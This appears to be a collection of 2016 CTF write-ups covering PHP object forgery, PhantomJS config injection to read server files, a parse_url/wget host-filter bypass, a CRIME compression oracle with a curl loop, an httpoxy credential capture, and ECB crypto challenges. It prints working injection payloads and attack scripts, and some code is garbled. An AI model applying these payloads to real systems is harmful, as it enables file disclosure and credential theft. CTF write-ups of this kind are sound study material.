Mmh the website answers Hacking detected. After a bit of testing we understand that the word base64 is blacklisted. Fair enough !

And we have the source code ! There is a lot of files, I won't show you everything, but here are the important parts.

Here is the code which checks the ID and displays your infos :

function validate_voter($blob, $debug=False) {
    $unb64 = base64_decode($blob) or html_die("Could not decode base64");
    list($vote_s, $vote_s_sig, $name, $name_sig) = json_decode($unb64) or html_die("Could not decode json");

    $system_key = get_system_key();
    $valid_name_sig = hash_hmac("sha512", $name, $system_key);
    hash_equals($valid_name_sig, $name_sig) or html_die("Bad signature for name");

    $user_key = get_key($name);
    if (is_test_voter($name)) {
        html_die("$name is a testing account - it can't be used to vote");
    if ($debug) {
DEBUG: User signed with key " . base64_encode($user_key) . "
); } $valid_vote_s_sig = hash_hmac("sha512", $vote_s, $user_key); hash_equals($valid_vote_s_sig, $vote_s_sig) or html_die("Bad signature for Voter object"); $voter = unserialize($vote_s, ["Voter"]); return $voter; } if(isset($_POST['id'])) { $debug = isset($_GET['debugpw']) && strcmp($_GET['debugpw'], "thebluegrassstate") !== false; $voter_info = validate_voter($_POST['id'], $debug); $voter_info = str_replace("\n", "
, $voter_info); }

validate_voter return a Voter object or prints an error. It checks if the serialized Voter or the $name have been modified. Before I explain how we can modify the Voter let me explain why we want to.

In the last line we see that the Voter object is interpreted as a string. So the Voter class might have a __toString() function which is called. Here it is :

function __toString() {
    $out = "Voter registration for {$this->name}:\n\tAddress: {$this->addr}" .
           "\n\tAffiliation: {$this->affil}\n\tZip: {$this->zip}";

    if ($this->show_log)
        $out .= "\n\nLast update to voter:\n" . $this->read_log();

    return $out;

The show_log attribute is always false.. Except if we can modify the object ! The read_log() reads a log file whose the path is stored in the Voter object. So if we can modify the object we will be able to read every files on the server ! (the LFI allowed us to read only php files due to the extension)

But what file can we want to read so much ? Lets see admin.php :

if(isset($_POST['password'])) {
    $password = trim(file_get_contents("../admin_password"));
    if (hash_equals($password, $_POST['password'])) {
        /* PRINT THE FLAG */

Well, if we can read ../admin_password we win ! Lets try to do this :)

The only way to modify the Voter object is by knowing the $user_key which is given to us as long as $debug is True AKA as long as we provide the right GET parameter.

So we can modify the Voter object and still have the good signature ! Hurrah !! Not so fast young boy.. With great power comes great responsibility. If you want to see the key then your Voter will be marked as a test voter and you are not anymore allowed to use the unserialize method with this object.

Well, lets see the functions that lock our dear Voter :

function is_test_voter($name) {
    $f = "./data/$name/debug";
    if (file_exists($f)) {
        $debug_timestamp = file_get_contents($f);
        $debug_after = DateTime::createFromFormat('m/d/y H:i', $debug_timestamp);

        $now = new DateTime();
        if ($now >= $debug_after) {
            return True;
    return False;

function mark_test_voter($name, $raw_date=null) {
    $f = "./data/$name/debug";
    if (file_exists($f)) return;

    if (!isset($raw_date)) $raw_date = new DateTime();
    $date = $raw_date->format('m/d/y H:i');

    file_put_contents($f, $date) or die("Couldn't mark $name as test voter" . PHP_EOL);
    chmod($f, 0400);

    file_put_contents("./data/$name/log", "Marked $name as test voter at $date" . PHP_EOL, FILE_APPEND);

So a Voter is locked if the date in his debug file is greater or equals to the current date. In a strictly scientific way of thinking we are screwed ! We cannot go back in the past. I blocked at this point a long time before looking at the hint : "You should look at this challenge soon before it is too late! Draft your solution asap."

Why set a limit to the challenge ? Then I remembered that once a year we do go back in time to save power ! Would it be possible in the city where the server has its timezone this temporal breach would occur in the CTF ? That would be awesome !

Here is the first line of util.php:


After a bit of googling :

Yes ! At 02:00am the server time will go back from 1hour :D So if we ask for the key at 01:30am then our Voter object will be locked as long as datetime >= 01:30am. But half an hour later the time will be... 01:00am ! So we will have a 1/2h to modify our object and read the admin password.

Sadly for me 01:30am New York time meant 05:30am.. So I'll have to wake up early ;). But it was worth it. Here is the php code used to modify the Voter user :

list($vote_s, $vote_s_sig, $name, $name_sig) = json_decode(base64_decode(YOUR_ID)); // 01:30am -> register
$user_key_b64 = "THE_USER_KEY"; // 01:30am -> debug

$vote_s = "O:5:\"Voter\":6:{s:4:\"name\";s:4:\"hugo\";s:4:\"addr\";s:4:\"addr\";s:5:\"affil\";s:11:\"Independent\";s:3:\"zip\";s:5:\"42602\";s:3:\"log\";s:17:\"../admin_password\";s:8:\"show_log\";b:1;}"; // read psswd admin

$user_key = base64_decode($user_key_b64);
$vote_s_sig = hash_hmac("sha512", $vote_s, $user_key);
$blob = base64_encode(json_encode([$vote_s, $vote_s_sig, $name, $name_sig]));

var_dump($blob); // check_reg from "02:00am" to "02:29am"

It was early so I forgot to save the admin password and the flag. But I hope believe me when I say that it worked :D

This challenge was a real peace of art. The fact that the real world is influencing the behavior of a program is awesome ! Without this time change nothing was possible. The author is really a genius, thanks a lot !

Original writeup :

Le 06/11/2016 à 21:54

Forensh*t's Ekoparty2016

Keywords: PhantomJS, Configuration injection, HTTP

Category: Web

Points: 400 (+15 first flag)

First part : rec0n

Note: Please go to the second part if you are just interested in the solution.

Nice ! A beautifull web application that allows user to take screenshot of a choosen website :). I love when challenges are well designed like this.

You just need to send your URL and the application takes a screenshot of the website. You also have an URL that you can send to your friends that shows the screenshot.

How does it works ? Where are the vulnerabiliti(es) ?

The first thing I looked for was the URL generation.


After some testing it seems random, and only urls from r'\w'+ regex seemed valid (you get an error otherwise). So we have to look somwhere else.

For a moment I had a quite extravagant idea (which of course was wrong) : if the Apache server is misconfigured and PNG extension considered as PHP script, then it would be possible to create a webpage that when screenshoted will produced a PHP payload. If you interested in this technique, have a look at this awesome blog :

After a bit of thinking I realised it was unlikly to be an advanced exploit like this (it would require an Apache misconfiguration and a lot of work from me to create a payload). So I decided to understand a bit more how the application works.

So I asked the application to get a screenshot of my website while grepping the logs. An interesting thing came out : the website used PhantomJS to create his screenshots.

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/534.34 (KHTML,like Gecko) PhantomJS/2.1.0 (development) Safari/534.34

The first thing we though about was : what about a XSS ? Maybe we could access another website that only the machine running PhantomJS can see ? K71 started to install Beef Framework and during this time I looked at the last parameter that could lead to an exploit : the URL !

After some quick testing it appeared that every time I put a ' in the URL, the screenshot is not taken. Hurrah ! A RCE ! (what I thought at least..). I tested every single payload I had (DNS exfiltration, ICMP exfiltration...) and none where working.

Then an idea came out : lets validate it is really an RCE. For this we asked for the following URL:';echo '1

Should work as expected right ? No response.. Mmmh, maybe not an RCE after all.

Finally the the click ! Maybe it is a PhantomJS configuration injection ? :o

Second part : 3xploit

PhantomJS is a program that simulate a browser. It is written in Javascript and can be launched using a configuration file. Our suspicion was that the URL was injected in this configuration file before launching PhantomJS.

Lets confirm that it is a PhantomJS configuration injection:';//

';// should close the string then comment out the rest of the line. We get a screenshot of google hurrah ! Now lets be a little more tendentious:'; page.settings.userAgent = 'Hey there :)'; // d

After grepping the log it appeared that it also worked !

Okay now lets exploit. The next payload is meant to list all the files in the current directory and send them in the user-agent :

var fs = require('fs');
var userAgent = "";
var path = ".";
var list = fs.list(path);
for(var x=0;x<list.length;x++){
    userAgent += list[x]+";"
page.settings.userAgent = userAgent;

Which gives us the URL :';var fs = require('fs');var ua="";var p=".";var l=fs.list(p);for(var x=0;x<l.length;x++){ua+=l[x]+";"};page.settings.userAgent=ua; // s

And outputs :

User-Agent: .;..;cache;captcha;index.php;

Of course we can read index.php ! Here is the payload used, followed by the index.php file :';var fs=require('fs');var ua=btoa('index.php'));page.settings.userAgent=ua; // s
// ...

$WORKING_DIR = "/var/www/html/cache/";
$SHOTS_DIR = "/var/www/html/cache/";

if (isset($_GET['hash'])){

$errormessage = "";

$hash =  $_GET['hash'];
if(preg_match('/[^a-z0-9]/i', $hash))
    $errormessage = "Invalid hash";
} else { 
    $filename = "./cache/{$hash}.png";
    if (file_exists($filename)) {
        echo '<div class="well" id="imghere">';
        echo "<img width=100%  src='$filename'>";
            echo '</div>';
    } else  {
        $errormessage = "Hash not found in database";

if (!empty($errormessage)) {
        echo '<div class="bs-callout bs-callout-warning">';
        echo "<p>$errormessage</p>";
        echo '</div>';

} else { 

# get url

    if (!empty($_POST['g-recaptcha-response']) && !empty($_POST['url'])) {
        include 'captcha/autoload.php';
        $recaptcha = new ReCaptchaReCaptcha('6LeXbAsTAAAAANkXvQdE5Hi2Dhkb5lubXRDRWLv7');
        $resp = $recaptcha->verify($_POST['g-recaptcha-response'], $_SERVER['REMOTE_ADDR']);

        if ($resp->isSuccess()) {
            $url = $_POST['url'];

            $template = file_get_contents(".ht24df1f769767e020ac970f1adb75f745.js");
            $tmpphantom = $WORKING_DIR . sha1(sha1(uniqid(), true)) . ".js";
            $ssoutputs = $WORKING_DIR . sha1(sha1(uniqid(), true)) . ".png";

            # weak protection
            //$url = str_replace("'", "'", $url);

            $outputfile = str_replace("%URL%", $url, $template);
            $outputfile = str_replace("%FILENAME%", $ssoutputs, $outputfile);

            file_put_contents($tmpphantom, $outputfile);

            //system('bash -c "exec /usr/local/bin/gtimeout 10 /usr/local/bin/phantomjs '.$tmpphantom.' > /dev/null 2>&1 &"');
            system('bash -c "exec timeout 40 /opt/phantomjs-2.1.1-linux-x86_64/bin/phantomjs  '.$tmpphantom.' > /dev/null 2>&1 &"');

        } else {
            $errormessage = "wrong captcha";
    } else {
        $errormessage = "You must fill the captcha and URL to use.";

// ...

Exactly as intuited there is a JS template file (.ht24df1f769767e020ac970f1adb75f745.js) which is formatted with the user input. Let's read it.

var here_it_is_come_and_get_it = "EKO{guess_i_got_what_i_deserved}";
var page = require('webpage').create();

page.viewportSize = { width: 640, height: 480 };
page.clipRect = { top: 0, left: 0, width: 640, height: 480 };

var url = '%URL%';, function() {

Here is our flag. EKO{guess_i_got_what_i_deserved}

Thanks for this really fun challenge !

Original writeup :

Le 29/10/2016 à 01:33

Url shortener Ekoparty2016

Keywords: PHP, HTTP RFC, wget, parse_url

Category: Web

Points: 200

Problem statement :

We developed this url shortener, it will allow you to share links with your friends!

You will need to bypass the check for the hostname and send the request somewhere else!
Source code:

No team that flagged this task during the first day so the admin decided to give us the source code (you will see that even with it, it is not obvious):

include 'config.php';

if (isset($_GET['i']) && $_GET['i'] == 1) {

// ...

function page_title($url) {
        $fp = get_data($url);
        if (!$fp)
            return "(no title)";
        $res = preg_match("/<title>(.*)<\/title>/siU", $fp, $title_matches);
        if (!$res)
            return "(no title)";
        $title = preg_replace('/\s+/', ' ', $title_matches[1]);
        $title = trim($title);
                if ($title == "") $title = "(no title)";
        return $title;

function get_data($url) {
        $url = escapeshellarg($url);
        $flag = escapeshellarg($flag);
        exec("wget -qO-  --user-agent $flag $url", $output);
        return implode("\r\n", $output);

$url = isset($_POST['url']) ? $_POST['url'] : "";

if ($url != "" && !empty($_POST['g-recaptcha-response']) ) {
        $recaptcha = new \ReCaptcha\ReCaptcha($secret_key);
        $resp = $recaptcha->verify($_POST['g-recaptcha-response'], $_SERVER['REMOTE_ADDR']);

        echo '<md-whiteframe class="md-whiteframe-1dp" layout layout-align="center center">';

        if ($resp->isSuccess()) {

                $pu = parse_url($url);
                if (isset($pu["host"]) && isset($pu["scheme"])) {
                        if ($pu["host"] === "" && ($pu["scheme"] === "http"||$pu["scheme"] === "https")) {
                                echo "<p>Accepted hostname <b ng-non-bindable>".htmlentities($pu["host"])."</b><br/><br/>";
                                $response = page_title($url);
                                echo "<b>Title:&nbsp;</b><span  ng-non-bindable>" . htmlentities($response)."</span><br/>";
                                echo "<b>Short Link:&nbsp;</b><a href='?i=1'></a></p>";
                        } else {
                                echo "<p>Error, hostname not allowed</p>&nbsp; <p><b ng-non-bindable>".htmlentities($pu["host"])."</b></p>";
                } else {
                        echo "<p>Invalid URL&nbsp;<b ng-non-bindable>".htmlentities($url)."</b></p>";

        } else  {
                echo "<p>Invalid CAPTCHA&nbsp;</p>";

        echo '</md-whiteframe>';

// ...

Of course we don't have access to .htflag.php.

The goal of the task is to bypass the hostname filter. So I looked for strange URLs that either wget or php parse_url would have some trouble checking.

I found that you can specify the HTTP username and password in the URL :

So I tried :

But both wget and parse_url parse this address perfectly :/.

But here is another URL, derived from the one before:

We got something ! PHP parse this URL as :

array(5) {
  string(4) "http"
  string(16) ""
  string(2) "what"
  string(21) ""
  string(1) "/"

So it bypasses the filters. And wget see this URL as : username:what - password:ever -

So we are quite there ! Php takes the hostname after the last @ to the first / and wget do the opposite : takes the hostname after the first @.

Which leads us to our final payload :

And here we are :)

I don't know which one of PHP or wget did not follow the RFC but if I have to guess I'd say PHP x)

Original writeup :

Le 29/10/2016 à 01:31

Cornelius1 -

Keywords: ruby, AES CTR, Zlib deflate, CRIME attack

Category: Cryptography

Points: 171

Here is the server's source code :

require 'openssl'
require 'webrick'
require 'base64'
require 'json'
require 'zlib'
require 'pry'

def encrypt(data)
  cipher =, :CTR)
  key = cipher.random_key
  iv = cipher.random_iv
  cipher.auth_data = ""
  encrypted = cipher.update(data) +
  return encrypted

def get_auth(user)
  data = [user, "flag:""flag.key").strip]
  json = JSON.dump(data)
  zip = Zlib.deflate(json)
  return Base64.strict_encode64(encrypt(zip))

class Srv < WEBrick::HTTPServlet::AbstractServlet
  def do_GET(req,resp)
    user = req.query["user"] || "fnord"
    resp.body = "Hallo #{user}"
    resp.status = 200
    puts get_auth(user).inspect
    cookie ="auth", get_auth(user))
    resp.cookies << cookie
    return resp

srv ={Port: 12336})
srv.mount "/",Srv

The goal is to find the content of flag.key AKA decrypt the cookie.

Here is the simplified data flow, from the user input (URL parameter user) to the cookie:

user + "flag:THE_FLAG" > zlib deflate > AES CTR encrypt > base64 > cookie

What's wrong about it ? It is quite obvious that the user parameter has something to do with the challenge (otherwise it won't be there :p).

The first step to solve the challenge is to understand how zlib deflate works. From Wikipedia we learn that Deflate is based on the LZ77 algorithm. Still from Wikipedia we learn that :

LZ77 algorithms achieve compression by replacing repeated occurrences of data with references to a single copy of that data existing earlier in the uncompressed data stream.

So for a given length, the more "user" is close to the flag, the smaller the output of deflate will be.

Likewise, the more the output of deflate is small, the more the cipher and the base64 are small. (There is just a little trick with the padding of the cipher, but the principle stays the same!)

So if we send "flag:" as our "user" then we only increase the output of deflate of 1 byte (the alias). Likewise if the flag starts with "a" and we send "flag:b" as our "user" the output of deflate will increase of 2 bytes (the alias + b), but if we send "flag:a" the output will only increase of 1 byte (the alias).

So we are able to detect if the flag starts with a letter. Then we iterate :)

After a bit of searching, this is known as a CRIME attack.

Let's automate this a little bit:

for i in {78..125}; do echo `printf "%x" ${i}` && curl -vv "`printf "%x" ${i}`" 2>&1 | grep Set-Cookie ; done;

This is an ugly bash oneliner to bruteforce an hexadecimal encoded character. This will produce the following output :

< Set-Cookie: auth=AGUPbh3BhY0W5AJNa7FI//PgmDwidVBYMj0sd2B1WHM=
< Set-Cookie: auth=EmlgWKQIVADpABaF0Vl59v3kMBqm7KHCoLUlVNVlKwk=
< Set-Cookie: auth=7NU6OjOP1JwVvsbHsod+Rw6SR/5MXhcsO0vM5aJ0rdA=
< Set-Cookie: auth=Ou76fwjxkzQTkXLVpQ5BIsuTbW6pPJ5vyC++Ph17bOQ=
< Set-Cookie: auth=1DNSu9QFtIvJEyR0zig0VDZGLbZ0D371q/jPy5SDq+U=
< Set-Cookie: auth=Ndin4BpZ/vSXdxaaQOD8F69b0zfPxmXCFrutikFQ
< Set-Cookie: auth=zZKniX/LSrN97FtvnEXRjOvJnuNPy9xiFvNuzJIe+qI=
< Set-Cookie: auth=AIj15RkMWDJo27392hFHvcQdWlQCR/G5kcOHjsoJdh4=

We see that the character chr(0x65) results in a smaller output of the cipher, so this must be the character to concatenate to the current guessed flag !

Mu7aiched + e

If we iterate one more time we can't find any character that reduce the length of the cipher.. That might be because we already have the whole flag. After checking the CTF's submit area it appears that it was that !

So here is the final flag : Mu7aichede :D

Original Writeup :

Le 20/10/2016 à 22:39

Maze -

Keywords: httpoxy, python3, Graph travelling algorithm, DFS

Category: Prog/Misc

Points: 207

"Maze", we might have to do some graph travelling.. Sounds nice :)

When we open the webpage we get this :

<a href=/maze/t1xdtygdurka0vwo04vxovb9h4q91tw6/2zszieqld8ghxdm43nwi7t8wh93mxau4.php>Number 1 a>br>
<a href=/maze/zpk2os59yksq9uisgmpjjrh37kezpf4b/mr49u8rdqxhnx38khyv2hssiwc3kzf05.php>Number 2 a>br>
<a href=/maze/o25s1yq85a30u1hqoj6mpguy12o39f4i/bnbnylcs2td9a2ni5tgvhx56mgvgfgxw.php>Number 3 a>br>
<a href=/maze/j1dgu9uxkafajnvwo10w6j5bpwr42glm/iyfu5c4wf7w6ila0pfq4dlu7lf3rn8f1.php>Number 4 a>br>
Please solve the link maze in order to get the Flag. br>
(You can find the source of this page <a href=code.php>herea>)

Okay so it looks like the challenge is to click on links until we find the good one (with the flag). Easier than expected ! :)

So let's click on one link...

401 Unauthorized

Arg ! We are asked for a username/password for an HTTP Basic Auth. It says that it is not guessable so obsiously we tried to guess it, without any success :/

We also tried to change the method with which we requested the server (example vuln here) :

curl -X PLOP

No more success. Let's be a bit smarter and read all the HTML code source. We can see that the server source code is given, here it is:

# Ubuntu trusty
# Apache/2.4.7-1ubuntu4

require_once "lib/httpproxyconnection.php";
echo queryURL("");

Please solve the link maze in order to get the Flag.
(You can find the source of this page here)

Okay so the server is just a proxy to a local VM. Let's look for known vulnerabilities for the given Apache + httpproxy. We found this : HTTPOXY

We won't explain the vulnerability here, you just have to know that for a long time a lot of webservers (Apache) and programming languages (PHP) interpreted the Proxy HTTP header as the real Proxy to use when doing server-side requests.

This means that if we request:

curl -H "Proxy:"

then PHP, when requesting the local VM :


will try to use as an HTTP Proxy. And of course, the server has the BasicAuth credentials :

# bash on
nc -lvp 1234
listening on [any] 1234 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 39123
Authorization: Basic c3VwM3JzM2NyM3R1czNyOm4wYjBkeWM0bmd1M3NteXA0c3N3MHJk
Accept: */*
Proxy-Connection: Keep-Alive

Here we are ! The server did try to connect to the local VM using our HTTP Proxy, and the server obviously sent the Basic auth along. Now we can access the links below :

curl -H "Authorization: Basic c3VwM3JzM2NyM3R1czNyOm4wYjBkeWM0bmd1M3NteXA0c3N3MHJk"

Here is the response :

<form method="post">Please Solve the following capture to continue:<br>295076782 + 44722125 = 
    <input type="text" name="result" value=""><br><br>
    <input type="submit" value="Submit">

A small captcha x) so cute ! Once solved here is the result :

<a href=/maze/t1xdtygdurka0vwo04vxovb9h4q91tw6/3rvftt4iixtxpv5179zwzdu2fh87egh7.php>Number 1 a>br>
<a href=/maze/7v2lt3k6xsnuqywv67fxwbsdzxxzunco/j6n7ye84mmdrs5dr4wbiw6y9ttz1jpfv.php>Number 2 a>br>
<a href=/maze/ky0hvsovgdmw7og4t30xcfnmte7kcbcr/hn9wog3nmfivf1o6kbv16qypoillyn30.php>Number 3 a>br>
<a href=/maze/zpk2os59yksq9uisgmpjjrh37kezpf4b/ui0uohlw5t7j5avkcauskwzhviknzubs.php>Number 4 a>br>

So out firsts intuitions were good :). We just have to go through all the links and find the one that contains the flag. Below is my code thant does it, but before I'll explain it quickly.

The principle is quite easy : For each page in the list urls_to_explore :

  • Solve the captcha and get the links.
  • Put the links in the list urls_to_explore IF we didn't see them before AKA if the link is not in the dict explored_urls.
  • Add the current page's link to the dict explored_urls that tell us which links we already saw.
import requests
import re
import sys

url = ""
headers = {
    "Authorization": "Basic c3VwM3JzM2NyM3R1czNyOm4wYjBkeWM0bmd1M3NteXA0c3N3MHJk"

explored_urls = {}

urls_to_explore = [

def gotto(path):
    res = requests.get(url + path, headers=headers)
        enigma = res.text.split("
)[1].split(" =")[0] if re.match(r'^[d* +-/]+$', enigma): resultat = eval(enigma) else: print("Do not match! " + enigma) print(res.text) sys.exit(1) except Exception as e: if 'NOT THE FLAG' not in res.text: print(res.text, file=sys.stderr) # the page didn't have the expected format -> FLAG ?? :) return [] data = { 'result' : str(resultat) } res = + path, headers=headers, data=data) try: return list(map(lambda x : x.split(">")[0], res.text.split(' FLAG ?? :) return [] while len(urls_to_explore) > 0: path = urls_to_explore.pop() if explored_urls.get(path): continue to_add = gotto(path) for p in to_add: if not explored_urls.get(p): urls_to_explore.append(p) print(urls_to_explore) print(explored_urls) print(" ------------------------------------------ ") explored_urls[path] = True

That's all ! We just have to wait ;)

./ > /tmp/output_maze # will only print the flag on stderr

And that's it :)

Original writeup :

Le 20/10/2016 à 20:38

Hackover - semsecrace 15

Much like rollthedice, this is a crypto chall written in go, and we have the source :
package main

import (

const NUM_STAGES = 40
const FLAG = "hackover16{REMOVED}"

var validStates = make(map[string]*State)
var validStateMutex = new(sync.Mutex)
var tmpl *template.Template

type JsonResponse struct {
	Action string `json:"action"`
	Text   string `json:"text"`

type State struct {
	Code       string
	Stage      uint8
	Colors      []byte
	ValidUntil time.Time

func (s *State) GetColor() string {
	numBit := s.Stage % 8
	colorPos := s.Stage / 8
	if (s.Colors[colorPos]>>numBit)&0x1 == 0 {
		return "red"
	} else {
		return "blue"

func (s *State) Activity() {
	s.ValidUntil = time.Now().Add(15 * time.Minute)

func (s *State) Burn() {
	defer validStateMutex.Unlock()
	delete(validStates, s.Code)

func (s *State) EncodeCode() string {
	return base32.StdEncoding.EncodeToString([]byte(s.Code))

func (s *State) IsExpired() bool {
	return s.ValidUntil.Before(time.Now())

func NewState() *State {
	code := make([]byte, 20)
	if _, err := io.ReadFull(rand.Reader, code); err != nil {
		log.Fatal("Oh no! Out of randomness for state code")
	colors := make([]byte, NUM_STAGES/8+1)
	if _, err := io.ReadFull(rand.Reader, colors); err != nil {
		log.Fatal("Oh no! Out of randomness for colors")
	s := &State{Code: string(code), Stage: 0, Colors: colors}
	defer validStateMutex.Unlock()
	validStates[s.Code] = s
	return s

func getState(codeBase32 string) *State {
	code, err := base32.StdEncoding.DecodeString(codeBase32)
	if err != nil {
		return nil
	s := validStates[string(code)]
	if s == nil {
		return nil
	if s.IsExpired() {
		return nil
	return s

func main() {
	var err error
	tmpl, err = template.ParseFiles("semsecrace.html")
	if err != nil {
		log.Fatal("Could not load template", err)

	go cleaner()
	http.HandleFunc("/", handleIndex)
	http.HandleFunc("/race", handleRace)
	http.HandleFunc("/choose", handleChooseColor)
	http.HandleFunc("/ciphertext", handleGetCiphertext)
	http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("./static"))))

	log.Fatal(http.ListenAndServe(":8202", nil))

func handleIndex(w http.ResponseWriter, r *http.Request) {
	s := NewState()
	http.Redirect(w, r, "/race?driver_license="+s.EncodeCode(), http.StatusFound)

func handleRace(w http.ResponseWriter, r *http.Request) {
	s := getState(r.FormValue("driver_license"))
	if s == nil {
		http.Redirect(w, r, "/", http.StatusFound)
	err := tmpl.ExecuteTemplate(w, "semsecrace.html", struct {
		DriverLicense string
		NumStages     int
	}{s.EncodeCode(), NUM_STAGES})
	if err != nil {
		log.Fatal("Could not execute template", err)

func handleChooseColor(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("Content-Type", "application/json")

	s := getState(r.FormValue("driver_license"))
	if s == nil {
		json.NewEncoder(w).Encode(JsonResponse{Action: "expired"})

	var resp JsonResponse
	color := r.FormValue("color")
	if s.GetColor() == color {
		if s.Stage >= NUM_STAGES {
			resp = JsonResponse{Action: "flag", Text: fmt.Sprintf("Winner!
%s", FLAG)} s.Burn() } else { resp = JsonResponse{Action: color} } } else { s.Burn() resp = JsonResponse{Action: "burn", Text: "You took the wrong color."} } json.NewEncoder(w).Encode(resp) } func handleGetCiphertext(w http.ResponseWriter, r *http.Request) { s := getState(r.FormValue("driver_license")) if s == nil { w.Header().Set("Content-Type", "text/plain") w.WriteHeader(http.StatusForbidden) fmt.Fprintln(w, "Your driver license expired. Try again.") return } m0 := []byte(r.FormValue("m0")) m1 := []byte(r.FormValue("m1")) if len(m0) != len(m1) { w.Header().Set("Content-Type", "text/plain") w.WriteHeader(http.StatusForbidden) fmt.Fprintln(w, "We are in the semantic security race. Follow the rules!") return } var msg []byte if s.GetColor() == "red" { msg = m0 } else { msg = m1 } w.Header().Set("Content-Type", "application/octet-stream") w.Write(encrypt(msg)) } func encrypt(message []byte) []byte { key := make([]byte, aes.BlockSize) if _, err := io.ReadFull(rand.Reader, key); err != nil { log.Fatal("Oh no! Out of randomness for key") } block, _ := aes.NewCipher(key) someByte := byte(aes.BlockSize - (len(message) % aes.BlockSize)) for i := byte(0); i < someByte; i++ { message = append(message, someByte) } ciphertext := make([]byte, len(message)) for i := 0; i < len(message) / aes.BlockSize; i++ { src := message[i*aes.BlockSize:(i+1)*aes.BlockSize] dst := ciphertext[i*aes.BlockSize:(i+1)*aes.BlockSize] block.Encrypt(dst, src) } return ciphertext } func cleaner() { t := time.NewTicker(1 * time.Minute) for { <-t.C cleanup() } } func cleanup() { oldCodes := make([]string, 0) validStateMutex.Lock() for code, s := range validStates { if s.IsExpired() { oldCodes = append(oldCodes, code) } } for _, code := range oldCodes { delete(validStates, code) } validStateMutex.Unlock() }

Upon connecting on the given address with my browser, I get the following minigame :

The goal is to make the car go around the loop. To do so, I can choose the red or blue button. If I have chosen the right colour, the car goes forward a little bit. Otherwise it explodes and I have to start again.
Looking at the src,
const NUM_STAGES = 40

This probably means I have to guess 40 times in a row. Having a 1 in 2^40 chance to get it right makes it impossible to try until I succeed, even with a script.

Looking at the source, there is an interesting function which uses the red and blue textboxes ans the mysterious 'Get ciphertext' button :
func handleGetCiphertext(w http.ResponseWriter, r *http.Request) {
	s := getState(r.FormValue("driver_license"))
	if s == nil {
		w.Header().Set("Content-Type", "text/plain")
		fmt.Fprintln(w, "Your driver license expired. Try again.")
	m0 := []byte(r.FormValue("m0"))
	m1 := []byte(r.FormValue("m1"))
	if len(m0) != len(m1) {
		w.Header().Set("Content-Type", "text/plain")
		fmt.Fprintln(w, "We are in the semantic security race. Follow the rules!")

	var msg []byte
	if s.GetColor() == "red" {
		msg = m0
	} else {
		msg = m1
	w.Header().Set("Content-Type", "application/octet-stream")

Also, the function encrypt looks ike it's ECB :
func encrypt(message []byte) []byte {
	key := make([]byte, aes.BlockSize)
	if _, err := io.ReadFull(rand.Reader, key); err != nil {
		log.Fatal("Oh no! Out of randomness for key")
	block, _ := aes.NewCipher(key)
	someByte := byte(aes.BlockSize - (len(message) % aes.BlockSize))
	for i := byte(0); i < someByte; i++ {
		message = append(message, someByte)
	ciphertext := make([]byte, len(message))
	for i := 0; i < len(message) / aes.BlockSize; i++ {
		src := message[i*aes.BlockSize:(i+1)*aes.BlockSize]
		dst := ciphertext[i*aes.BlockSize:(i+1)*aes.BlockSize]
		block.Encrypt(dst, src)
	return ciphertext

So here we have a function that encrypts either my red or my blue input (depending on what color I should choose next). The key is random, so I cannot try to get a pattern. I cannot either give it two blocks of different size and check the size of the output, because it checks that the messages are equal lengths.
If only I had a solution to determine which of my two inputs the server encrypts, I would win the race. But it's AES, so I guess it's secure, right ?
Actually, there is a big flaw in ECB cipher mode : It splits my input into blocks of fixed size (and adds padding to the last chunk to make it as long as the other if needed), and then encrypts every block separately, then concatenates the output.
If we take a simple example and say my encryption scheme takes a block of 4 letters and gives back 4 letters.
If I give it the text ABCDEFGH, the result will be cipher(ABCD,key)+cipher(EFGH,key), and will look like NDBCISJE
If I give my scheme the plaintext ABCDABCD, the result would be twice cipher(ABCD,key), which looks like NDBCNDBC.
Even if I have no idea how the cipher works and I don't have the key, I can still see a pattern in the second one.

So now, the only thing left to do is to write something like 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' in the red box, and 'kysgfkuuekbjyesegdkjuzqcdkqzygdbkcquybgdkuqycjdhgskcdqygdqz' in the blue box. When I click on 'Get ciphertext' :
-If I see a pattern in the output, this means my red input was encrypted, so I click red.
-If I don't, this means blue is the correct one.

After repeating the steps 40 times (which takes quite a long time after all), I get my flag !
Writeup by Mathis HAMMEL

Le 11/10/2016 à 23:49


The challenge was a .go code. You could see the execution with : nc 1415 The purpose was to make exactly the opposite dice roll of the computer. But the dice roll it gives you is encrypted (and you should give your dice roll to him encrypted as well !) Here was the order of the steps :
- Computer rolls the dice and gives you his encrypted value
- You give your encrypted dice roll
- He gives you the key to decrypt his
- You give him the key to decrypt yours

Finding one by chance was possible (even 2 !), but we have to make 32 perfect guesses to obtain the CTF.
Here is the server code given :
package main

import (
	mrand "math/rand"

const FLAG = "hackover16{REMOVED}"

func main() {
	l, err := net.Listen("tcp", "")
	if err != nil {
	defer l.Close()
	for {
		conn, err := l.Accept()
		if err != nil {
		go handleConnection(conn)

func rollDice() int {
	// Momma told me to use cryptographic randomness instead ...
	roll := mrand.Intn(6) + 1
	return roll

func encryptDiceRoll(roll int) ([]byte, []byte) {
	key := make([]byte, 16)
	if _, err := io.ReadFull(rand.Reader, key); err != nil {
	block, err := aes.NewCipher(key)
	if err != nil {
	rollEncoded := make([]byte, aes.BlockSize)
	if _, err := io.ReadFull(rand.Reader, rollEncoded); err != nil {
	binary.BigEndian.PutUint16(rollEncoded, uint16(roll))
	block.Encrypt(rollEncoded, rollEncoded)
	return key, rollEncoded

func decryptDiceRoll(key []byte, diceRollEnc []byte) (int, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return -1, errors.New("Invalid key size")
	if len(diceRollEnc) != aes.BlockSize {
		return -1, errors.New("Invalid block size")
	block.Decrypt(diceRollEnc, diceRollEnc)
	return int(binary.BigEndian.Uint16(diceRollEnc)), nil

func handleConnection(conn net.Conn) {
	defer func() {
		log.Println(conn.RemoteAddr(), "disconnected")
	log.Println(conn.RemoteAddr(), "connected")

	fmt.Fprintln(conn, "Welcome to rollthedice!")
	fmt.Fprintln(conn, "We use a cool cryptographic scheme to do fair dice rolls.")
	fmt.Fprintln(conn, "You can easily proof that I don't cheat on you.")
	fmt.Fprintln(conn, "And I can easily proof that you don't cheat on me.\n")
	fmt.Fprintln(conn, "Rules are simple:\nRoll the opposite side of my dice roll and you win a round.")
